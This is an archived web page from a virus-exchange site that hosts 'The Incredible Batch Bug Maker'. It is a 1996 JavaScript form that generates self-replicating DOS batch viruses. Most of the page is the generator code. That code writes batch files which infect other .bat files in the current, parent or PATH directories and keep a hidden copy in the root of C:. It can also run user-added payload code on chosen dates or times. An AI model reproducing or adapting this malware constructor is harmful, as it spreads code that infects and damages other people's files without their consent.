<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <!-- saved from url=(0059)http://vx.netlux.org/dl/vir/Constructor.DOS.IBBM.a?x=8&y=20 --> <HTML><HEAD><TITLE>BBM</TITLE> <META http-equiv=Content-Type content="text/html; charset=windows-1250"> <SCRIPT> //<plaintext> // // The Incredible Batch Bug Maker // For Netscape 2 w/ JavaScript // DOS 6 compatible output only! // // define our vars... // (so netscape won't freak) var method=0; var search=0; var name=""; var key=""; var infects=""; var seeks=""; var findhost=false; var usecopy=false; var hidecopy=false; var echoblank=false; var codewindow=false; var comment=""; var tmatch1=""; var tmatch2=""; var dmatch1=""; var dmatch2=""; var addcode=""; // default variables... function Reset(vars) { findhost=false; usecopy=true; hidecopy=false; echoblank=true; codewindow=true; with (document) { vars.Method.options[0].selected=true; vars.Search.options[0].selected=true; vars.Name.value = "gobbm"; vars.Key.value = "BuG!"; vars.Infects.value = 1; vars.Seeks.value = 20; vars.FindHost.checked=findhost; vars.UseCopy.checked=usecopy; vars.HideCopy.checked=hidecopy; vars.EchoBlank.checked=echoblank; vars.CodeWindow.checked=codewindow; vars.Comment.value=""; vars.AddCode.value=""; vars.TMatch1.value=""; vars.TMatch2.value=""; vars.DMatch1.value=""; vars.DMatch2.value=""; } } function WinOpen(something) { msg=open(something,"DisplayWindow", "toolbar=no,directories=no,menubar=no,scrollbars=yes,resizable=yes"); codewindow=true; return msg; } function write(stuff) { if (codewindow) msg.document.writeln(stuff); else document.writeln(stuff); } function wr(stuff) { if (codewindow) msg.document.write(stuff); else document.write(stuff); } function MakeBug(vars) { method=0; search=0; for (var i=0; i<4; i++) if (vars.Method.options[i].selected) method=i; for (var i=0; i<4; i++) if (vars.Search.options[i].selected) search=i; name=vars.Name.value; key=vars.Key.value; comment=vars.Comment.value; infects=vars.Infects.value; seeks=vars.Seeks.value; findhost=vars.FindHost.checked; usecopy=vars.UseCopy.checked; hidecopy=vars.HideCopy.checked; echoblank=vars.EchoBlank.checked; codewindow=vars.CodeWindow.checked; comment=vars.Comment.value; tmatch1=vars.TMatch1.value; tmatch2=vars.TMatch2.value; dmatch1=vars.DMatch1.value; dmatch2=vars.DMatch2.value; addcode=vars.AddCode.value; if (codewindow) var msg=WinOpen(""); if (method==0 && findhost) write("<h3>Error - Appending types cannot find host</h3>"); else if (method==0 && !usecopy) write("<h3>Error - Appending types must use copy</h3>"); else if (key=="" || name=="") write("<h3>Error - Must have Key and SubString entries</h3>"); else if (name.indexOf(key)>=0) write("<h3>Error - Key cannot be in SubString</h3>"); else { wr("<pre>"); GenerateCode(); wr("</pre><hr>"); } if (codewindow) { wr("<form>"); wr("<input type='button' value='Close' onclick='close()'>"); wr("</form>"); } } function GenerateCode() { var type=method+1; var mask="*.bat"; var dopath=0; if (search==1) mask="*.bat ..\\*.bat"; if (search==2) mask="..\\*.bat *.bat"; if (search==3) { mask=". .. %path%"; dopath=1; } var s_infects=""; if (parseInt(infects)>0) for (var i=0; i<parseInt(infects); i++) s_infects=s_infects+"1"; var s_seeks=""; if (parseInt(seeks)>0) for (var i=0; i<parseInt(seeks); i++) s_seeks=s_seeks+"1"; var v1="%"+key+"%"; if (usecopy) v1="c:\\_" + key; var v8="end"; if (type==2) v8="xt"; if (type==3 || type==4) { write("@if '%_"+name+"%==' goto _"+name); write("::**** HOST ****"); if (echoblank) write(""); write("@if not '%_"+name+"%==' goto "+key+"end"); write(":_"+name+" "+key); } if (type==1) { write("::**** HOST ****"); if (echoblank) write(""); } if(comment!="") write("::"+key+" "+comment); write("@echo off%_"+key+"%"); write("if '%1=='"+key+" goto "+key+"%2"); write("set "+key+"=%0.bat"); write("if not exist %"+key+"% set "+key+"=%0"); write("if '%"+key+"%==' set "+key+"=autoexec.bat"); if (type==3||type==4) write("set !"+key+"=%1 %2 %3 %4 %5 %6 %7 %8 %9"); if (type==4) { write("call %"+key+"% "+key+" rh"); write("set _"+name+"=>nul."+key); write("set !"+key+"="); } if (usecopy) write("if exist c:\\_"+key+".bat goto "+key+"g"); if (findhost) { write("if exist %"+key+"% goto "+key+"fe"); write("call %"+key+"% "+key+" h %path%"); write("if exist %"+key+"% goto "+key+"fe"); write("goto e"+key); write(":"+key+"h"); write("shift%_"+key+"%"); write("if '%2==' goto "+key+v8); write("if exist %2\\%"+key+" set "+key+"=%2\\%"+key+"%"); write("if exist %2%"+key+" set "+key+"=%2%"+key+"%"); write("if exist %2\\%"+key+".bat set "+key+"=%2\\%"+key+"%.bat"); write("if exist %2%"+key+".bat set "+key+"=%2%"+key+"%.bat"); write("if not exist %"+key+"% goto "+key+"h"); write("goto "+key+v8); write(":"+key+"fe"); } if (usecopy) { if(!findhost) write("if not exist %"+key+"% goto e"+key); write("find ""+key+""<%"+key+"%>c:\\_"+key+".bat"); if (hidecopy) write("attrib c:\\_"+key+".bat +h"); write(":"+key+"g"); } if (!usecopy&&!findhost) write("if not exist %"+key+"% goto e"+key); var v3="/e:5000 /c"; if (s_seeks=="" && s_infects=="") v3="/c"; if (s_seeks=="" && s_infects=="1") v3="/c"; if (dopath) write("command "+v3+" "+v1+" "+key+" vir "+mask); if (!dopath) write("command "+v3+" "+v1+" "+key+" vir"); write(":e"+key); var activate=false; if (dmatch1!="") { write("echo.|date|find ""+dmatch1+"">nul."+key); write("if errorlevel 1 goto na"+key); activate=true; } if (dmatch2!="") { write("echo.|date|find ""+dmatch2+"">nul."+key); write("if errorlevel 1 goto na"+key); activate=true; } if (tmatch1!="") { write("echo.|time|find ""+tmatch1+"">nul."+key); write("if errorlevel 1 goto na"+key); activate=true; } if (tmatch2!="") { write("echo.|time|find ""+tmatch2+"">nul."+key); write("if errorlevel 1 goto na"+key); activate=true; } if (addcode.length>0) { var fromchar=0; var newln=0; while(fromchar<addcode.length && newln>=0) { var newln=addcode.indexOf("\r",fromchar) if (newln>0) { var subline=addcode.substring(fromchar,newln); var sublow=subline.toLowerCase(); if (sublow.substring(0,1)==":" || sublow.indexOf("goto ")>=0) subline=subline+" %_"+key+"%"; else subline=subline+"%_"+key+"%"; write(subline); fromchar=newln+2; } } } else if (activate) write ("::"+key+" *** activate code ***"); if (activate) write(":na"+key); if (type==3) { write("call %"+key+"% "+key+" rh"); write("set _"+name+"=>nul."+key); write("set !"+key+"="); } write("set "+key+"="); if ((!usecopy||findhost) && type==2) write("if exist \\!"+key+".bat del \\!"+key+".bat"); write("goto "+key+"end"); if ((!usecopy||findhost) && type==2) { write(":"+key+"xt"); write("echo.>\\!"+key+".bat"); write("\\!"+key+".bat"); } if (type==3||type==4) { write(":"+key+"rh"); write("set _"+name+"=x%_"+key+"%"); write("%"+key+"% %!"+key+"%"); } write(":"+key+"vir"); if (!dopath) { write("for %%a in ("+mask+") do call "+v1+" "+key+" i %%a"); write("exit "+key); } else { write("shift%_"+key+"%"); write("if '%2==' exit %"+key+"%"); write("for %%a in (%2\\*.bat %2*.bat) do call "+v1+" "+key+" i %%a"); write("goto "+key+"vir"); } write(":"+key+"i"); write("find ""+key+""<%3>nul"); var v2="ERR"; if (s_seeks=="") v2=key+"end"; if (type==2 && !usecopy) v2=key+"xt"; if (s_seeks!="") v2=key+"j"; write("if not errorlevel 1 goto "+v2); var v2="type c:\\_"+key+".bat"; if (!usecopy) var v2="find ""+key+""<%"+key+"%"; if (type==1) { write("type %3>"+key+"$"); if (echoblank) write("echo.>>"+key+"$"); write(v2+">>"+key+"$"); } if (type==2) { write(v2+">"+key+"$"); write("type %3>>"+key+"$"); } if (type==3 || type==4) { write("echo @if '%%_"+name+"%%==' goto _"+name+">"+key+"$"); write("type %3>>"+key+"$"); if (echoblank) write("echo.>>"+key+"$"); write(v2+">>"+key+"$"); } write("move "+key+"$ %3>nul"); if (s_infects!="") { if (s_infects=="1") write("exit "+key); else { write("set "+key+"#=%"+key+"#%1"); write("if %"+key+"#%=="+s_infects+" exit"); } } if (s_seeks!="") { write(":"+key+"j"); write("set "+key+"!=%"+key+"#%1"); write("if %"+key+"!%=="+s_seeks+" exit"); } if ((s_infects!="1" || s_seeks!="") && type==2 && usecopy==false) write("goto "+key+"xt"); write(":"+key+"end"); if (type==2) write("::**** HOST ****"); } function Info() { WinOpen(""); wr("<h1>The Incredible Batch Bug Maker</h1>"); wr("Makes DOS 6 compatible replicating batch files<br>"); wr("Produced March 27, 1996<br><br>"); wr("The Key String must be unique, the generated bug will not "); wr("touch any batch containing this string. The Sub String is "); wr("used in compound methods, it should also be unique. Infects "); wr("per run is how many batches will be assimilated with each run "); wr("of a bugged batch, if omitted all available batches are game. "); wr("Max seeks is the maximum number of infected files skipped "); wr("before giving up, if empty or NaN no limit checks are made. "); wr("The Add Code box is for adding batch code that will run when "); wr("all time and date conditions are satisfied, or every time if "); wr("no conditions are entered. The condition strings simply match "); wr("the output from the date and time commands. Three methods of "); wr("attachment are available: Appending simply tacks on the code, "); wr("Inserting places the bug before the host, and Compound which "); wr("uses a single inserted line then appends the rest. Compound "); wr("Immediate runs the bug first, Compound Delayed runs the bug when "); wr("the host completes. Search specifies the directories and order "); wr("for seeking batch files (watch out for path!). Find Host tells "); wr("it to generate code for seeking out the host batch even if run "); wr("from the path (not available on appenders), Use Copy keeps a "); wr("copy of the bug code in the root of C: (must be checked for "); wr("appenders), Hidden hides the root copy, Echo Blank places an "); wr("empty line between the host and any appended code to prevent "); wr("errors with batches that have no final return. Send to Window "); wr("opens a new browser window for the code to avoid trashing the "); wr("form. To copy code to clipboard uncheck it, good for one shot. "); wr("Resizing or reloading the form resets the data. Enjoy!"); wr("<form>"); wr("<input type='button' value='Close' onclick='close()'>"); wr("</form>"); } </SCRIPT> <META content="MSHTML 6.00.2800.1400" name=GENERATOR></HEAD> <BODY text=#ff0000 vLink=#ff0000 aLink=#ff0000 link=#ff0000 bgColor=#000000 background=""> <CENTER> <H1 align=center><FONT size=+3>Nightmare Joker </FONT></H1> <H2 align=center><I>present's</I> </H2> <H1>The Incredible Batch Bug Maker</H1> <H2 align=center><I>coded by</I> </H2> <H1 align=center>Wavefunc [Independant] </H1><BR> <FORM name=vars>Key String: <INPUT maxLength=7 size=7 name=Key> � Comment: <INPUT size=30 name=Comment><BR>Sub String: <INPUT maxLength=7 size=7 name=Name> � Infects per run: <INPUT maxLength=2 size=2 name=Infects> � Max seeks per run: <INPUT maxLength=2 size=2 name=Seeks><BR>Method: <SELECT name=Method> <OPTION selected>Appending<OPTION>Inserting<OPTION>Compound Immediate<OPTION>Compound Delayed</OPTION></SELECT> � Search: <SELECT name=Search> <OPTION selected>Current<OPTION>Current Parent<OPTION>Parent Current<OPTION>Current Parent Path</OPTION></SELECT><BR>Add Code: <TEXTAREA name=AddCode rows=3 cols=45></TEXTAREA><BR>Time Match: <INPUT size=7 name=TMatch1> <INPUT size=7 name=TMatch2> � Date Match: <INPUT size=7 name=DMatch1> <INPUT size=7 name=DMatch2><BR><BR><INPUT type=checkbox name=FindHost> Find Host Batch � <INPUT type=checkbox name=UseCopy> Use Root Copy � <INPUT type=checkbox name=HideCopy> Hide Copy<BR><INPUT type=checkbox name=EchoBlank> Add blank line for safety � <INPUT type=checkbox name=CodeWindow> Send output to window<BR><BR><INPUT onclick=MakeBug(this.form) type=button value="Make the Batch Bug"> <INPUT onclick=Reset() type=reset value=Reset> <INPUT onclick=Info() type=button value=Info> </FORM><BR><A href="http://vx.netlux.org/dl/vir/index.htm"><FONT size=+3>BACK TO HOMEPAGE </FONT></A> <ADDRESS><BR><BR>Last Updated 03-Jan-97 <A href="mailto:njoker@hotmail.com">njoker@hotmail.com</A> </ADDRESS></CENTER>g </BODY></HTML>